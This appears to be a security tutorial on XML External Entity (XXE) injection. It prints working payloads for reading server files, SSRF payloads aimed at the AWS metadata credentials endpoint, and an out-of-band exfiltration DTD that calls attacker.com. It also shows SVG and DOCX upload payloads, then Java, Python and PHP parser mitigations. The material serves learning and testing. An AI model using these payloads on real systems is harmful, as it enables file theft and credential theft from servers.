XML External Entity (XXE) injection is a critical web vulnerability that targets applications parsing XML input. When an application processes XML data without properly disabling external entity references, attackers can read arbitrary files from the server, perform server-side request forgery (SSRF), and in some cases achieve remote code execution. XXE consistently appears in the OWASP Top 10 and affects countless enterprise applications, APIs, and document processors.
This guide covers XXE detection, exploitation payloads, blind XXE techniques using out-of-band (OOB) channels, and effective mitigations.
How XML External Entities Work
XML supports a Document Type Definition (DTD) that can declare entities — shortcuts for content. External entities reference resources outside the XML document itself. A vulnerable application that parses this XML will fetch and return the contents of /etc/passwd:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo><bar>&xxe;</bar></foo>
The SYSTEM keyword tells the XML parser to fetch an external resource. Supported URI schemes typically include file://, http://, https://, and ftp:// — each opening different attack surfaces.
Detecting XXE Vulnerabilities
XXE occurs wherever an application accepts XML input. Common injection points include:
- SOAP web services with XML request bodies
- REST APIs that accept
Content-Type: application/xml - File upload endpoints accepting DOCX, XLSX, SVG, or PDF
- RSS/Atom feed processors
- XML-based configuration endpoints
To test, inject a basic external entity into any XML input and observe the response. If the server returns file content or makes an outbound HTTP request to your server, the application is vulnerable.
Basic Detection Payload
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://YOUR_BURP_COLLABORATOR_ID.burpcollaborator.net">
]>
<test>&xxe;</test>
Use Burp Collaborator or interact.sh to detect DNS and HTTP callbacks when the response doesn’t directly reflect entity content.
File Disclosure Payloads
Reading /etc/passwd (Linux)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>
Reading Windows Files
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
<!ENTITY xxe SYSTEM "file:///C:/inetpub/wwwroot/web.config">
PHP Source Code Disclosure
PHP files returned directly would be executed, so use the php://filter wrapper to base64-encode the content first:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
Decode the base64 response to recover the PHP source code containing database credentials and API keys.
SSRF via XXE
XXE can pivot to internal services that the XML parser server can reach but that are not publicly accessible:
<!-- Probe internal AWS metadata service -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!-- Scan internal network -->
<!ENTITY xxe SYSTEM "http://192.168.1.1/">
<!-- Access internal admin panels -->
<!ENTITY xxe SYSTEM "http://localhost:8080/admin">
By iterating over internal IP ranges and ports, attackers can map internal infrastructure and steal cloud provider credentials.
Blind XXE Techniques
Many applications parse XML but don’t return entity values in the response. Blind XXE uses out-of-band channels to exfiltrate data.
OOB Data Exfiltration with External DTD
Host a malicious DTD file on an attacker-controlled server (http://attacker.com/evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;
%send;
Then send this XML payload to the target:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
The server fetches the external DTD, which causes it to fetch the file contents and exfiltrate them via an HTTP request to your server.
DNS-Based Blind XXE
When HTTP callbacks are blocked, DNS exfiltration often works. The file content is encoded into a subdomain of a domain you control:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % exfil "<!ENTITY % dns SYSTEM 'http://%file;.attacker.com/'>">
XXE via File Upload
Many file formats use XML internally. Attackers can embed XXE payloads in uploaded files:
SVG XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
DOCX/XLSX XXE
Office documents are ZIP archives containing XML files. Unzip a DOCX, inject XXE into word/document.xml, and rezip:
unzip document.docx -d docx_extracted/
# Edit docx_extracted/word/document.xml to add XXE payload
cd docx_extracted && zip -r ../malicious.docx .
Exploiting XInclude
When you can’t control the outer XML structure (the application wraps your input in its own XML), XInclude may allow file inclusion without a full DTD:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
Mitigation and Prevention
The primary defense is disabling external entity processing in the XML parser:
Java (DocumentBuilderFactory)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
Python (lxml / defusedxml)
# Use defusedxml instead of stdlib xml
import defusedxml.ElementTree as ET
tree = ET.parse('input.xml') # Safe by default
# Or configure lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse('input.xml', parser)
PHP
// Disable external entity loading
libxml_disable_entity_loader(true); // PHP < 8.0
// PHP 8.0+ has this disabled by default
// Or use SimpleXML with LIBXML_NOENT disabled (default)
$xml = simplexml_load_string($input); // Safe in PHP 8.0+
Using Burp Suite for XXE Testing
Burp Suite Professional’s Active Scanner detects XXE automatically. For manual testing:
- Intercept a request containing XML in Burp Proxy
- Send to Repeater (Ctrl+R)
- Modify the XML body to inject your entity payload
- Use Burp Collaborator (Project → Burp Collaborator client) to generate a unique callback URL
- Insert the Collaborator URL in SYSTEM entities to detect blind XXE
- Check Collaborator for DNS/HTTP interactions
The Content-Type: application/json requests sometimes accept XML if you change the Content-Type header to application/xml — always test this conversion.
Real-World XXE Impact
XXE vulnerabilities have led to major breaches:
- Facebook (2014): XXE via OpenID endpoint allowed reading server files
- PayPal (2013): XXE in document processing exposed internal service responses
- Google (multiple): Various XXE findings through their bug bounty program rewarded at $10,000+
CVSS scores for XXE vulnerabilities typically range from 7.5 to 9.8 (Critical) depending on data accessible to the parser process.
Conclusion
XXE injection is a high-impact vulnerability class that requires thorough testing across all XML parsing surfaces — including file uploads, SOAP endpoints, and REST APIs that accept XML. Use Burp Collaborator for blind XXE detection, craft external DTD payloads for data exfiltration, and always test file upload endpoints with malicious SVG/DOCX files. Defensively, disable external entity processing at the parser level and use maintained libraries like defusedxml in Python or OWASP’s recommended configurations for Java.